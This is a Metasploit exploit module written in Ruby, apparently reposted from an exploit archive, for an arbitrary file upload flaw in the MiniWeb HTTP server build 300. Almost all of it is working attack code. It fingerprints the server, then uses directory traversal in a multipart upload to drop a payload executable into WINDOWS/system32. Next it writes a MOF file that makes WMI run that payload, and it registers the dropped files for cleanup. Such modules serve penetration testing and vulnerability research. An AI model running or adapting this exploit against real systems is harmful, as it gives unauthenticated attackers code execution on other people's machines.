MiniWeb (Build 300) Arbitrary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
HttpFingerprint = { :pattern => [ /MiniWeb/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::WbemExec  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MiniWeb (Build 300) Arbitrary File Upload",  
'Description' => %q{  
This module exploits a vulnerability in MiniWeb HTTP server (build 300).  
The software contains a file upload vulnerability that allows an  
unauthenticated remote attacker to write arbitrary files to the file system.  
  
Code execution can be achieved by first uploading the payload to the remote  
machine as an exe file, and then upload another mof file, which enables  
WMI (Management Instrumentation service) to execute the uploaded payload.  
Please note that this module currently only works for Windows before Vista.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'AkaStep', # Initial discovery  
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit  
],  
'References' =>  
[  
['OSVDB', '92198'],  
['OSVDB', '92200'],  
['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']  
],  
'Payload' =>  
{  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested on MiniWeb build 300, built on Feb 28 2013  
# - Windows XP SP3 (EN)  
['MiniWeb build 300 on Windows (Before Vista)', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => "Apr 9 2013",  
'DefaultTarget' => 0))  
  
register_options([  
Opt::RPORT(8000),  
OptInt.new('DEPTH', [true, 'Traversal depth', 10])  
], self.class)  
  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def check  
  
begin  
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
if !res or res.headers['Server'].empty?  
return Exploit::CheckCode::Unknown  
elsif res.headers['Server'] =~ /^MiniWeb$/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Unknown  
  
end  
  
def upload(filename, filedata)  
  
print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")  
uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")  
depth = "../" * (datastore['DEPTH'] + rand(10))  
  
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"  
post_data = "--#{boundary}\r\n"  
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"  
post_data << "Content-Type: application/octet-stream\r\n"  
post_data << "\r\n#{filedata}\r\n"  
post_data << "--#{boundary}\r\n"  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => "multipart/form-data; boundary=#{boundary}",  
'data' => post_data  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE  
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")  
end  
  
return res  
  
end  
  
def exploit  
fname = "#{rand_text_alpha(rand(10)+5)}"  
  
# upload exe  
exe_name = "WINDOWS/system32/#{fname}.exe"  
exe = generate_payload_exe  
print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")  
upload(exe_name, exe)  
  
# upload mof  
mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"  
mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))  
print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")  
upload(mof_name, mof)  
  
# list files to clean up  
register_file_for_cleanup("#{::File.basename(exe_name)}")  
register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")  
end  
  
end  
`